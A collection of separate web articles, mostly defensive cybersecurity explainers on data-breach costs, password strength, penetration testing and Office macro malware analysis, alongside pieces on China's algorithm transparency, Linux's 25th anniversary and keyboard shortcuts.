2. Social engineering. This type of malicious activity is aimed at obtaining user credentials without hacking. Common forms of social engineering are phishing, email compromise, phone calls, and pretexting. During the COVID-19 pandemic, social engineering became so frequent that the FBI and Interpol issued recommendations on recognizing and protecting against such attacks.
Recognizing social engineering is more challenging than it seems. In real-world phishing simulations conducted by Terranova Security, 67% of users submitted their credentials to phishing forms.
3. Malware. Malicious software like ransomware, spyware, Trojans, and downloaders help cybercriminals obtain sensitive data or credentials of trusted user accounts. Malware can be delivered to a user’s computer via an email, messenger, compromised website, or compromised device. Once inside the protected infrastructure, malware masks itself from security tools and does its dirty work.
4. Human errors. Inadvertent actions like sending an email to the wrong recipient or uploading data to public cloud storage can also cause a data breach. You can’t control or predict human errors, but a single unintentional error can cost a fortune to fix. Detecting such a breach and protecting your company from human errors are two of the hardest cybersecurity tasks.
5. Insider attacks. This type of attack is caused by a user with legitimate access to an organization’s sensitive data: a disgruntled employee, third-party vendor, or inside agent. Whether an insider has malicious intent or harms an organization out of negligence, their actions are usually more dangerous than those of external threat actors. Insiders know exactly what data they can obtain, and they already have access to the organization’s network.
Detecting an insider attack is challenging because insiders usually know which security tools are deployed in an organization. Their deeds can stay unnoticed and silently harm the organization for a long time. That’s why 95% of organizations feel vulnerable to insider attacks according to the 2020 Insider Threat Report [PDF] by Cybersecurity Insiders.
What are the most damaging data breaches of 2021?
The cost of a data breach greatly depends on the number of compromised records. That’s why for organizations that manage vast amounts of sensitive data, a breach can cost way more than the average $4.24 million. According to the Ponemon Institute’s 2021 Cost of a Data Breach Report, breaches that affect from 1 to 10 million records cost $52 million on average. Let’s take a look at cybersecurity incident examples from 2021 that cost even more than that.
The British Airways case is a textbook example of a company that has suffered from a single data breach for years. In 2018, hackers stole the personal records of 429,000 British Airways customers and employees. After a complex investigation, in 2020, the company was fined £20 million (≈ $27 million) for its insufficient data protection system. Today, it faces an £800 million (≈ $1 billion) class action lawsuit from data breach victims.
Improper management and sharing of sensitive data can also be considered a data breach and lead to costly penalties. In September 2021, the Irish Data Protection Commission found security violations in the way WhatsApp processes user data and shares it with other companies. That is a serious GDPR violation that led to a €225 million (≈ $266 million) fine for WhatsApp.
But data breaches can do more damage than creating a hole in a company’s budget. Sometimes, it’s impossible to put a price tag on a hazardous breach. In 2021, the Dallas police suffered from a negligent insider attack that could put people in danger. A city IT manager accidentally deleted 22 terabytes of data while transferring them to a new server.
The deleted data contained evidence that the Dallas County District Attorney’s Office needed to investigate criminal cases. Because of a lack of evidence, they had to release a murder suspect just before trial. Later, Dallas City Hall managed to restore part of the lost records and reinstate the murder trial.
What determines the cost of a data breach?
Determining the costs of a data breach involves calculating several major components:
- Direct costs are the expenses for dealing with a detected breach. This includes the costs of forensic and investigation activities, fines, and compensation to affected parties.
- Indirect costs are connected with the time, effort, and other resources necessary to cover losses from the data breach. Indirect costs include expenses for communications regarding the status and effects of the breach; issuing new accounts, credit cards, and credentials; and lost revenue from system downtime.
- Lost opportunity costs account for lost business opportunities as a consequence of reputational harm. For example, a breach can lead to a loss of potential customers, a shortfall in profits due to loss of reputation, or a loss of competitive advantage on the market.
The cost of a data breach is influenced by every action your company takes and even by your company’s location. The average total cost of a data breach in the United States in 2020 was $9.05 million, whereas in Germany it was $4.89 million, and in Australia it was $2.82 million.
What factors form the cost of a data breach?
Each data breach does a different amount of damage and needs to be handled in a different way. That’s why no data breach cost calculator can be pinpoint accurate when estimating the damage of a hypothetical incident. However, a calculator can give you a general understanding of cost components.
In their 2021 Cost of a Data Breach Report, the Ponemon Institute highlights the following key factors for estimating the cost of a data breach:
|Type of affected data||Compromising records of customers’ PII, intellectual property, and other sensitive data cost the most — $180, $169, and $165 per record respectively.|
|Number of affected people||Each person affected by the breach needs to be compensated.|
|Previous history of security incidents||HIPAA, PCI DSS, and other cybersecurity laws, standards, and regulations enforce stricter punishment for organizations that suffer from more than one breach during a given year.|
|Attack vector||Some attack vectors provide malicious actors with more ways to harm an organization than others. On average, the most expensive attack vectors are business email compromise ($5.01 million), phishing ($4.65 million), and insider activity ($4.61 million).|
|Duration of the breach||Breaches that are detected and remediated in less than 200 days on average cost a third less than breaches that last over 200 days.|
|Incident response team activity||Organizations that have both an incident response team and incident response plan in place spend $3.25 million on an average breach. Organizations without them spend $5.71 million on average.|
|Implementation of a zero trust approach||A zero trust approach to security reduces the attack surface for malicious actors. If it isn’t implemented, an organization pays on average $5.04 million. With a mature zero trust model, the cost of an average data breach goes down to $3.28 million.|
|Security automation and artificial intelligence (AI)||Leveraging AI and automation helps to stop a security incident at the early stages, reducing remediation costs from an average of $6.71 million to $2.90 million.|
|Data encryption||Encrypting data makes it a lot more challenging for hackers to benefit from a breach. Organizations that apply high encryption standards spend on average $3.62 million on data breach remediation; those who don’t spend $4.87 million on average.|
|Complexity of the cybersecurity system||Organizations with more tools, systems, devices, and users saw an average cost of a security breach of $5.18 million, compared to $3.03 million for organizations with low system complexity.|
|Use of a cloud environment||Companies that rely on public clouds pay $4.80 million for an average data breach. Those who choose private clouds pay $4.55 million on average, and those who go with hybrid environments pay an average of $3.61 million.|
|Involvement of remote users||In 2020, telecommuting became a major factor that increases the cost of a data breach: incidents that involve remote work cost an average of $4.96 million, while incidents that don’t cost an average of $3.89 million.|
As you can see, handling a data breach is a challenging and costly process. The good news is that you can prepare for a data breach, mitigate possible damage, and reduce your expenses. To do so, you need to reinforce your cybersecurity system with the most efficient tools and practices. But remember not to overdo it — because, as we mentioned earlier, an over-complicated security system can increase the cost of a data breach instead of decrease it.
6 practices to reduce the risk of data breaches
Let’s take a look at must-have security measures to mitigate the risk of a data breach and ways you can detect a breach with Ekran System:
1. Assess your security risks
Before you start improving your cyber defenses, it’s a good idea to find out what can harm your organization the most. To do that, you can conduct a risk assessment — a practice that helps you identify:
- Sensitive data
- Threats to an organization
- The potential impact and likelihood of those threats
- Business risks posed by these threats
While conducting a risk assessment, it’s useful to analyze known data breaches in your industry and the history of security incidents in your organization. For the latter, you can study user activity records, a list of triggered alerts, and reports on security events that Ekran System can provide. All of these sources will provide you with useful insights into past incidents and their impact.
2. Form an incident response team
An incident response team includes employees that start remediating damage from the data breach when it occurs. They need to analyze the incident, gather evidence, take needed recovery measures, notify affected parties, etc.
To be able to respond to incidents quickly and efficiently, the team should consist of specialists from various departments: IT, legal, security, communications, customer service, executive management. The threat response team also requires relevant cybersecurity training, the authority to act decisively, and the opportunity to prepare incident response plans for various breach scenarios in advance.
3. Deploy security threat detection tools
Threat detection time plays a crucial role in forming the cost of a data breach. The more time a malicious actor can spend with an organization’s data, the more damage they can inflict. The most efficient way to detect security threats in a fast manner is by deploying dedicated software that monitors activity in your network and notifies you of any odd and risky actions.
Ekran System helps you detect a breach in real time and respond to it fast. It continuously monitors user activity across your protected perimeter. When a user violates a security rule, Ekran System sends an alert to a responsible security officer. The officer can then review the user session online, determine whether the user’s actions threaten the organization’s security, and block the user or process if needed.
To make the incident response even faster and more efficient, you can configure Ekran System to block suspicious activities automatically.
4. Leverage AI for cybersecurity tasks
Implementing AI capabilities brings security threat detection to another level. AI allows security officers to act preventively against potential threats, reducing the average cost of a breach from $4.79 million to $3.30 million according to the Ponemon Institute.
AI is at the core of user and entity behavior analytics (UEBA) solutions that analyze daily user activities, create a baseline of user behavior, and spot any changes and unusual actions. UEBA solutions can also assess threats for security officers by analyzing each user activity and calculating a risk score for it. A UEBA tool can detect sophisticated data breaches caused by:
- User account compromise
- Credential leaks
- Insider activity
For example, Ekran System’s UEBA module notices when a user logs in to their account outside usual working hours. This can be a sign of an insider threat or a hacking attempt.
5. Implement the zero trust approach
As the name suggests, the zero trust approach to cybersecurity assumes that no user or entity in your system should be trusted. Users should be able to access only the resources they need for their work routines. Additionally, before providing a user with access to resources, you should verify their identity.
This approach helps to significantly reduce the attack surface in case a user goes rogue or their account is compromised. That’s why organizations with a mature zero trust architecture in place can lower the average cost of a data breach to $3.28 million according to the Ponemon Institute.
You can implement the zero trust approach by leveraging Ekran System’s identity and access management capabilities. With multi-factor authentication, it’s easy to confirm the identity of the person trying to log in to a user account.
Moreover, you can configure a user’s access rights using:
- A role-based access model
- Time-based access to sensitive resources
- Manual access approval
- Auto-generated one-time passwords
- And other methods
6. Protect remote connections
The need to switch to remote work has reduced the effectiveness of organizations’ IT defenses by 27% according to Cybersecurity in the Remote Work Era: A Global Risk Report [PDF] by the Ponemon Institute. Telecommuters work outside of the traditional cybersecurity environment, use unprotected devices, and connect to unsecured public networks. All of that creates additional security risks. That’s why a data breach that involves remote workers costs an average of $1 million more than a data breach that doesn’t involve remote workers according to the Ponemon Institute.
Here’s what you can do to mitigate security risks caused by remote connections:
- Secure connections to sensitive resources with a VPN
- Make sure remote employees use protected devices and software
- Deploy Ekran System to monitor the activity of telecommuters
- Configure Ekran System to limit access to sensitive data and verify a user’s identity upon each connection
The cost of a data breach depends on a great number of factors. And you can’t precisely estimate how much a data breach could cost your company because every breach is unique.
The only way to prevent a breach or reduce the cost of dealing with its consequences is by building a 360-degree security system. Ekran System provides you with useful tools to do that. With user activity monitoring, access management, alerts on security incidents, and a UEBA module, you’ll be able to detect and stop a security breach instead of paying millions of dollars to mitigate the consequences.
Request a free trial of Ekran System to start improving your security today! | <urn:uuid:1778f400-5250-41f1-bcc8-c632f3e39f12> | CC-MAIN-2022-40 | https://www.ekransystem.com/en/blog/cost-of-a-data-breach | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030338001.99/warc/CC-MAIN-20221007080917-20221007110917-00336.warc.gz | en | 0.922775 | 3,649 | 2.84375 | 3 |
A move in China towards algorithmic transparency could be disastrous for big tech.
The algorithms that serve us content and dictate our digital lives have never been under more scrutiny. Following years of research that alleges they lead us down rabbit holes of ever-more extreme content and push us into fringe beliefs that we would ordinarily not follow, they’ve been blamed for political polarisation and the world’s ills.
They’ve also been heavily criticized for their ability to push and pull human emotion with impunity – an issue that is compounded by the rise of TikTok, the first true social media success story to emanate from outside Silicon Valley’s tight control.
Because of TikTok’s non-US background, lawmakers in the west have become worried about the impact of algorithms. It’s an issue echoed elsewhere about the rise in general of big tech and a belief that the path they’re leading us down is not one the world wants to follow. The European Union, long one of the most skeptical groups when it comes to technology, has announced plans to regulate AI, including algorithms. “The opacity of many algorithms may create uncertainty and hamper the effective enforcement of the existing legislation on safety and fundamental rights,” they claim.
A rising tide against algorithms
But it’s not just there that governments are getting antsy about algorithms. As artificial intelligence’s ability to know humans better than they know themselves rises, there are increasing worries about their power and might – and a concern about how they work. It’s not just in western countries that people are worried about the algorithmic power that apps hold over us.
China’s internet watchdog, the Cyberspace Administration of China, has recently compelled tech businesses operating within the country to provide some details of what algorithms they use, and how they operate. In all, 30 different companies disclosed details of how their algorithms work within their apps and are integrated with user behavior.
The information is very high-level and not at all detailed. For instance, Tencent News explains that it has a top story ranking algorithm that is about “ordering selection”, with no more detail. ByteDance, the parent company of a number of apps, including TikTok in the west, uses a “personalized push algorithm” that is “used in the recommendation of images, videos, goods, and services to recommend content that may be of interest to users through users' historical clicks, duration, likes, comments, shares, dislikes, and other behavioral data.” That app is used in Douyin, Xigua Video, and Toutiao, but one app that is not disclosed is TikTok, the western equivalent, likely because it does not operate in China.
Opening the floodgates
The transparency, even if only slight, has been welcomed – but it could well open the floodgates for companies who will now be expected to answer further questions not just from Chinese authorities but many more worldwide. The reality is that politicians want to dig into the algorithms that affect our public discourse and learn how they work.
For some, the end goal is to tame and limit them, either to stop the spread of harmful discussions they fear will divide us or to try and bring them to heel and promote a point of view they want. By giving Chinese authorities an inch, it’s likely that tech companies, including eventually TikTok, will have to offer regulators elsewhere a mile in order to keep them happy.
And with that comes another set of problems. Politicians like to pretend they know about everything, even something as complicated as the algorithms that power our apps – which even those behind their development admit not to know the full details of. It’s for this reason that the initial transparency could spell disaster for big tech companies. Now that they’ve given even a slight insight into how they work, they’ll be dogged with follow-up questions and potentially asked to alter their algorithms by people who don’t know what to do. It’s a slippery slope – and one we’re just at the start of.
More from Cybernews:
Subscribe to our newsletter | <urn:uuid:c6f8ec39-7b08-4c1e-959e-b1d53d1f1ff9> | CC-MAIN-2022-40 | https://cybernews.com/editorial/why-chinas-move-for-algorithmic-transparency-could-destroy-big-tech/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334528.24/warc/CC-MAIN-20220925101046-20220925131046-00536.warc.gz | en | 0.954947 | 867 | 2.796875 | 3 |
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Balancing ease of access for user security has been an issue ever since the creation of the personal computer. Creating a strong balance is key to your security whether it is for your personal use or business.
We will walk you through the best way to create passwords, manage your passwords (if necessary), and the importance of a master password. First, we need to discuss how hackers crack passwords if we are going to make secure passwords.
First, make sure that whatever company you sign up for is using the latest up to date password hashing and that they are not storing your password in plain text like FACEBOOK once did. (this still happens today). How companies store your passwords is incredibly important, as any password you create going forward will be useless if not stored securely.
Now if the company is using a modern security system to store passwords, then hackers will most likely try these two methods on the hashed passwords:
- Brute Force Attack
- Dictionary Attack
Brute Force Attack
The name implies the method. They simply are trying to access your password by running it through a computer and trying every possible combination. The longer the phrase, the more combinations exist, and the more combinations equals a harder password to crack.
In today’s world, having a password that’s at least nine random characters long will suffice for this attack. If you want to get nerdy and look at the math behind this, check out this Khan Academy video.
What if instead of guessing each character in the password individually and randomly, we set some rules to help break the password. The English dictionary would likely be an excellent place to start. Instead of trying to crack each character, the hacker can now look for specific strings of characters that relate to the words in the dictionary. Keep in mind that this technique tries the most used words first. The same technique can be applied to any language.
Custom dictionaries are being made every day to make cracking easier by using real passwords that people have used in the past. This means if your password was part of a previous security breach, it is most likely included in a hackers dictionary. These dictionaries are much more useful and can cause a password to be cracked in seconds.
How do you check if your password resides on one of these lists?
Well, you can never know for sure since a hacker’s dictionary might not be accessible to check, and some companies have been unwilling to notify the affected users. An excellent place to start would be to use the pwned password checker tool.
Creating Your Password
First, NEVER use the same password twice. Imagine a robber steals the key to your car and it just so happens to work on your house and the new restaurant you opened. We have different keys for our physical locks so why should we use the same one digitally?
The whole point of having a password is to secure yourself online. Using “password” for your password is extremely insecure. Here is a list for the most common passwords.
The first rule is to choose a password that meets specific length requirements.
Please note that substituting alphabetical characters to look like numbers is NOT secure. (ie. substituting 3’s for E’s) Also, if you think you’re clever it is often a tactic that a hacker will use when cracking by associating characters that look like a letter together.
Here is an example of a strong password: R37Gj4!hj37^dyb!klm
Unfortunately, you’re probably not going to remember it unless you’re Michael Ross from the show Suits. This is why “forgot apple ID password” & “forgot google password” is one of the most searched for terms on google. A good password needs to be easily remembered!
This XKCD comic is a good illustration of the problem with current password techniques and provides us with good rules going forward.
Ok so we have the makings of a good password that we can remember by using something like:
This is more efficient if you are remembering multiple passwords instead of using a password manager. It is a passable way to create a password. Random is, of course, better so use this random password generator and play with the rules.
Do you want more than “just good enough?”
Perfect, then let us take it up a couple of notches. This is especially vital if you’re using a password manager that requires a master password.
The first thing we need to do is something we mentioned earlier. Use a less common English word or something you would not find in a dictionary. Examples include a brand name, slang, anything really as long as it means something to you. Note that using a family member’s name, including a pet’s name is extremely insecure.
Here we switched out one word for a brand name. This one change would make it that much more difficult to crack. Next, we can add characters but in places that don’t make sense.
Perfect, now we have a strong password. This might be a little over the top but is great if it is used for your master password. As it is the only one that you need to remember.
One more layer of security to add is two-factor authentication.
Two-factor authentication requires you enter a separate code that is sent to you or available on your mobile through an authentication application like google authenticator.
The secure way is not to use one and have a impeccable memory that can hold all your different passwords. This, unfortunately, is not feasible for most people. I could get into more detail about the best password managers but the important things you’re looking for in a password manager are.
- They use local encryption and not server-side encryption.*
- Offer two-factor authentication and use google authenticator or a comparable service.
- The forget your password function only gives you a hint for your master password instead of actually making you able to reset it via email.
The password manager will create those intense long passwords for you that are different for each site.
The Master Password is the key part. Just don’t forget it and for the first week set a reminder to log into your password manager once daily so you get used to typing it out. Don’t use this password for anything else!
Lastly don’t use any of the passwords I have used as an example in this post since they have probably been added to a password crackers dictionary already. | <urn:uuid:278779f9-af0c-4533-9026-db19fdafdeb4> | CC-MAIN-2022-40 | https://itpartners.ca/how-to-create-a-secure-password-in-2020/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334915.59/warc/CC-MAIN-20220926175816-20220926205816-00536.warc.gz | en | 0.927083 | 1,403 | 3.375 | 3 |
[Cybersecurity] Ensuring Business Continuity with Blockchain Distributed Storage
One of DARPA’s original design features of the Internet was to ensure connectivity is resilient to partial failures. This was achieved through decentralization and recovery from failures. With more and more data stored online, we need a similarly robust infrastructure. Any ICT department would be interested in preserving their data during and after network compromise. All networks are susceptible to compromise, arriving in a variety of different ways, such as natural disaster, terrorist activity, malicious intent, or technical and equipment failures, to name some.
Blockchain is useful beyond its original purpose as a decentralized, immutable bitcoin transaction ledger. We recently looked at numerous use cases, including blockchain for supply chain provenance tracking and risk analysis (related to our SCRAMS technology).
We outlined a blockchain solution for a government agency for preserving mission-critical data under the most extreme network compromising attacks. During this effort, it became clear that such network resilience would be beneficial and applicable to nearly any networking environment and everyday data storage infrastructure.
You can see our proposed solution approach in the high-level diagramming abstraction below. The blue nodes are, of course, the network participants, be they devices, systems, etc. The orange qualifiers describe some of the supporting technology of the resilient blockchain storage solution. And the input actors on the left represent actions on the network. Network compromising actions are included for simulation and solution demonstration purposes.
Having the solution be a drop in for existing network storage solutions would be ideal. Therefore, we consider the incoming actions as standard database queries, be they SQL or NoSQL. Conceptually the query language doesn’t matter.
We then create smart contracts that bridge the queries with the unique backing store of the resilient blockchain. We introduce the idea of Smart QUERY Contracts.
The data pushes and queries would function regardless of compromising attacks or situations, short of complete network devastation. The smart query contracts do all the work of translating, distributing the data, and putting it back together as needed to honor queries, all using standard DB query languages.
Writing the data pushes and queries into the ledger would further provide an automatic audit trail.
Based on our preliminary research, such an architecture should be able to recover from failures affecting a significant portion of the decentralized network, may be caused by human error, storage technology failure, electromagnetic pulses (or nuclear radiation) damaging microelectronics, etc. | <urn:uuid:2cfa84e5-64a1-4cb9-aa01-8f5c5e428472> | CC-MAIN-2022-40 | https://www.iiot-world.com/ics-security/cybersecurity/cybersecurity-ensuring-business-continuity-with-blockchain-distributed-storage/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334915.59/warc/CC-MAIN-20220926175816-20220926205816-00536.warc.gz | en | 0.911831 | 494 | 2.6875 | 3 |
What is Penetration Testing?
Penetration testing is a direct test of an application, a device, a website, an organization, and even the people that work at an organization. It first involves attempting to identify and then attempting to exploit different security weaknesses that can be found in these various areas.
Breaking into Your Own House
It might be helpful to think of penetration testing as trying to see if someone can break into your house by doing it yourself. First, you can walk around your house and note where the doors and windows are. Then you can try and jiggle the locks on the doors to see if you can get them to open. Next, you might try to raise the windows to see if you can get in that way. Maybe there’s a giant hole on the side of one of your walls that you’ve been meaning to get fixed, but it’s just been there for so long that you don’t even see it anymore.
If you approach your house in this way, it can make it easy to spot where the weaknesses in your security. Turns out that one of the windows has a lock that isn’t working correctly, and that tarp that’s covering the giant hole isn’t going to be keeping anyone out. However, because you are the one who found these things out first, you can now fix them before some else finds them as well.
Breaking into Your Own IT Environment
Organizations should also be doing this kind of testing as well. Companies spend a lot of time and money investing in their security. Pen testing allows them to make sure that the money and effort they’re putting in are going to the right places and are working effectively. Why wait for an attacker to put your security to the test? This could result in heavy fines, a loss of brand value, and theft of intellectual property. Do the quality assurance yourself to make sure that you’re protected.
Penetration testers, also known as ethical hackers, evaluate the security of IT infrastructures using a controlled environment to safely attack, identify, and exploit vulnerabilities. Instead of checking the windows and doors, they test servers, networks, web applications, mobile devices, and other potential points of exposure to find weaknesses.
Instead of a broken latch or a faulty lock, a few of the many potential IT environment vulnerabilities include design or development errors, misconfiguration, weak passwords, insecure communications, out of date systems and software.
What is the Pen Testing Process?
Typically, pen testing begins with information gathering, finding out as much as possible about the system you will be targeting. From there, testers move on to the attack itself. For example, bypassing a firewall to breach a system. Once vulnerabilities have been successfully exploited within a system, testers may use compromised systems to find other weaknesses that allow them to obtain higher and deeper levels of access to assets and data. Information about security weaknesses that are successfully identified or exploited through penetration testing is typically generated into a report to be used to take the next steps towards remediation efforts.
Get into the Habit of Security
You wouldn’t leave your house without checking to make sure that the door was locked behind you. You wouldn’t leave your window open at night without having a way to make sure a burglar couldn’t get in. Why would you not do these same things for your company? Consistently testing the effectiveness of your security controls is vital to ensure that you can keep up with how an attacker might approach your organization. Doing pen testing consistently will guarantee that your security improves over time and remains strong. The only way to be sure that your security is working is to make sure that you are testing it.
Find out how other cybersecurity professionals are pen testing in their organizations
Read the 2022 Penetration Testing Report for more insights about the latest pen testing trends and challenges. | <urn:uuid:2e269e73-60f7-4881-a978-dc6b1238100e> | CC-MAIN-2022-40 | https://www.coresecurity.com/blog/penetration-testing-breaking-keep-others-out | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335350.36/warc/CC-MAIN-20220929100506-20220929130506-00536.warc.gz | en | 0.959387 | 799 | 2.921875 | 3 |
Some of you, who are the same age as me or older might remember the Melissa malware that spread through Microsoft Office Word macro in 1999 and affected millions of systems worldwide. Melissa malware was spreading by sending the first 50 people on Microsoft Outlook in the system it was
infected with the help of macro support that came with Microsoft Office.
If you are asking “What is a macro ?”, Microsoft company will answer you as stated below;
A macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically.You can record a sequence of actions, or you can write a macro from scratch by entering Visual Basic for Applications code in the Visual Basic Editor. However, malware can also use this functionality to download threats onto your PC. Macro malware usually hides in Microsoft Word or Microsoft Excel documents.
Throughout the years because of the misuse of macros (the abuse), Microsoft company did some security improvements on Office software. One of these improvements was new file extensions that were released with Office 2007 version. For example, if a file that was created with Office 2007 has the letter m in the file extension, this means the office file includes a macro. With this improvement, we were able to be cautious towards the files that have the letter m in their extensions and block them based on their extensions.
You could be saying why are you telling us all these since it’s been 20 years after Melissa virus and Microsoft did what they could about the situation. Recently we can see malicious online banking software’s and malwares like RAT trying to be spread across by using office files that include macros. Because malignant users know that the file extensions with letter m get attention, they create the macro files by using Office 2003 hence, they are able to get past the systems and informed users that do extension checks.
Well then, how can we analyze a file that we thing has a macro? We can open the office file with Microsoft Office software in a virtual machine then we can display the contents from the Macro menu (view -> macros -> view macros). However, malicious users that know this way usually put password protection to the macro. To be able to solve this password you can use Reset VBA Password tool.
It is also possible to analyze an office file that you think has a macro without Microsoft Office and this is possible with OfficeMalScanner tool. OfficeMalScanner is a very beneficial tool that helps us analyze suspicious (shellcode, PE detection) office files and also help us extract the macro code it found inside the office file for us to analyze.
For example, if we have a suspicious file that we think was created using Microsoft Office 2003 like I mentioned above, you can give this tool info command as a parameter and let the tool analyze the file and extract the macro code for us. If the file in hand is created with Microsoft Office 2007 or later, we can use the inflate command (actually no different than changing the office file extension to .zip then opening it with winzip/winrar) to make the tool open the file and extract the macro code inside the file with once again info command.
When we analyze the macro code that came up, we can see that it is a downloader that downloads RAT type malware by inspecting the used API’s.
Hope that this post will be helpful for you to analyze suspicious office files. See you on the next post and have a secure day. | <urn:uuid:0a4b99b4-6a3a-4858-bcfe-a7ef7a63fc86> | CC-MAIN-2022-40 | https://www.mertsarica.com/microsoft-office-macro-analysis/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337244.17/warc/CC-MAIN-20221002021540-20221002051540-00536.warc.gz | en | 0.94631 | 706 | 2.8125 | 3 |
“We made it. 25 years. Quite an accomplishment.” Jim Zemlin, executive director of the Linux Foundation, kick started LinuxCon NA in Toronto today with this quote.
Impressive history for Linux
On August 25, 1991, Linux Torvalds announced Linux, an OS he believed wouldn’t be as popular or professional as GNU. But in 25 years, Linux has grown much bigger than expected.
“Linux today is the most successful software project in history,” Zemlin said. “Thousands of developers creating billions of dollars of software value. Linux goes beyond the code, it has also become the world’s most widely adopted software. It dominates almost every field ranging from small IoT devices to the high performance computing market. In a nutshell, Linux runs the global economy quite literally.”
It’s not just the adoption of Linux that’s so impressive, it’s the pace at which it is being developed. “10,800 lines of code added, 5,300 lines of code removed, and 1,800 lines of code modified on average every single day, 365 days a year, every year, and this pace is only accelerating,” Zemlin said. “Linux now changes seven, eight times an hour. There is no single software project by any single person or organization that rivals the breadth, pace, depth, adoption of Linux. What an incredible run.”
But what does the success of Linux mean, and what has it proven? Being the twenty-fifth anniversary of Linux, Zemlin asked, “What is it that Linux has really taught the world beyond the fact that open source is a better, faster, cheaper way to produce software?”
Zemlin said Linux, and open-source movement and community have delivered a better way to define the future. “All of us are smarter than any one of us,” he said. “Today you literally cannot make anything by building all the software you need by yourself. Today the vast majority of code in any modern technology product or service is open source. It is essential for competition in that the central nature of using open source for competition also betters everybody else, so that folks can invest in things that matter to their customers or to themselves, and share the vast majority of software that needs to be written, because there is just too much software to be written for any single organization or person to write themselves.”
Beyond technology and code, the success of Linux also proved that “you can better yourself by bettering others at the same time,” according to Zemlin.
It’s not just about the current generation. Linux also influences and inspires the next generation, Zemlin said, and provided the example of Zachary DuPont, who calls Torvalds his hero and was flown to a LinuxCon by the Linux Foundation so he could meet his hero. Kids like him are inspired by the work the open source community is doing.
What the future holds for Linux
So where does Linux go from here?
“I want to tell all of you that open and sharing is here to stay,” Zemlin said. “It’s not just Linux. It’s way beyond that. Linux is the inspiration, but now we’ve entered into a new era. There are millions of open source contributors worldwide, billions of lines of code across thousands of open source repositories, hundreds of companies being started based on open, shared technologies. Over ten of those are worth more than a billion dollars. Billions of dollars more are being invested into a future that is based on sharing. That is a tremendous accomplishment.”
Historically, the first generation of open source companies was basically emulating software technology of the past and trying to make it free and shared, according to Zemlin, to take the market and make it more affordable and accessible. But that has changed. Today open source is not emulating the past, it’s changing and defining the future, he said. | <urn:uuid:8c02696d-23af-42c0-8364-f72c77259dcf> | CC-MAIN-2022-40 | https://www.cio.com/article/238946/linux-foundation-chief-reflects-on-25-years-of-open-source.html | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337723.23/warc/CC-MAIN-20221006025949-20221006055949-00536.warc.gz | en | 0.958323 | 850 | 2.609375 | 3 |
There are dozens of keyboard shortcuts people use every day, typically without even thinking about it. Many are well known, like control + C for copy and control + P to print, while there are likely dozens of other keyboard shortcuts you use and even more you have heard about but forgotten.
This post discusses seven lesser known keyboard shortcuts that can be used with common programs to increase productivity and/or save you time and frustration.
7 Lesser Known Keyboard Shortcuts for Common Programs you Should be Using
This post discusses keyboard shortcuts that can be used in the following programs or applicatons. Feel free to jump directly to any category:
Web browsers - Edge, Firefox, Chrome, etc.
Open previously closed tab - control+shift+T
This keyboard shortcut is one of my absolute favorites because when used inside an open web browser, it will open up a previously closed tab. One of the best things about this keyboard shortcut is that you can repeatedly use it and it will continue to open previously closed tabs.
This shortcut is extremely handy when you close a window thinking you are done with it or accidentally close the wrong tab. It is especially helpful when you accidentally close a tab without knowing what you closed. Most people have lots of tabs open, often leaving a page open as a way of temporarily "saving" it so they can go back to it later. These are perfect examples of when this keyboard shortcut can save a bunch of time.
NOTE: This only works if the original web browsing window was not fully closed. If you close the window, the entire instance, you cannot re-open the web browser and restore tabs. The web browser has to have remained open after tabs were closed to be able to restore those closed tabs.
Multiple programs and applications
Redo - control+Y
This keyboard shortcut allows a user to redo something that they removed by mistake or changed their mind about and can be used in all Office applications. This shortcut is helpful when using the control+Z shortcut to undo items if you accidentally go too far. The easiest way to explain how this shortcut works is with an example. Let's pretend we are working in an Excel document and have done the following things:
- Updated the font size for the header row.
- Changed the font of the header row.
- Changed a formula in a cell to sum the data in all of the rows above it.
- Added a comment to a cell.
- Adjusted the wrap feature of a column of data.
- Used the freeze panes feature to lock in the top heading row.
- Added a color fill into the bottom row of cells.
Now it feels like the spreadsheet is formatted perfectly. With one last look, you realize the formula is wrong because you accidentally replaced a complex formula with a simple sum. If you had memorized the formula, you could type it into the cell. However, with more complex formulas or unknown formulas, this is not practical.
Sometimes you do not have a way to change something back to its original state, other than using undo. Unfortunately, when using undo, it is easy to forget the order of the steps you took, meaning it is easy to undo too far back.
This is when using the control+Y keyboard shortcut is helpful. Use control+Z to undo changes until you are certain the thing you cannot manually change back reverts to its original state. If you go back too far, use control+Y to redo what you just undid so that you can keep as many changes as possible without losing the important things you cannot fix yourself.
Paste without formatting - control+shift+V/control+alt+V
This keyboard shortcut allows users to copy information from one location and paste it into another without bringing its formatting and can be used in many web browsers and some Office applications. This is helpful when you are copying something that has different formatting such as font type, size, spacing, etc., that does not match the destination document. This allows you to paste the information without carrying over the original formatting, which would require you to apply all the correct formatting.
Using the paste without formatting shortcut can be extremely useful when pasting documents together, when several people are contributing to the same document, when working with different software versions and more. This can be a huge time saver depending upon what formatting has been applied. It is also useful for people who use proprietary fonts that others do not have.
Software details - F2
This is not exactly a keyboard shortcut, but it is worth mentioning because if you have ever used the desktop version of QuickBooks, there was probably a time when you needed some of the product information. This could have been the license number, product number, product description, or many of the other details available in this menu. This information is often needed years after installing the product, at which point you are likely wondering where the box went and when you last saw it.
Luckily, you can simply press F2 once logged into QuickBooks to find out all sorts of information about that product:
Image size - control+alt+I
A really common reason for using Photoshop is to resize an image without losing a lot of quality. The quickest way to do this is to open the image size properties and change the height or width. Keep in mind height and width changes can be locked or unlocked. Locked means when you increase or decrease either height or width, the aspect ratio will stay the same and both will be increased or decreased at the same rate. Unlocked means you can change the height or width independent of the other which can cause odd results depending upon the image.
In the Image Size box, the image size can be changed using pixels or percent by changing the width or height at the top of the box. The image size can also be changed using other measurements such as inches, percent, picas, cm, mm, points and columns in the lower portion of the box.
Canvas size - control+alt+C
Another common usage of Photoshop is altering the canvas size of an image. Where image size lets you quickly increase or decrease the size of an image, the canvas size allows you to modify the size of something without artificially increasing or decreasing the size of the image. This is often helpful when an exact size is needed or when trying to add content to an image like a text box, etc.
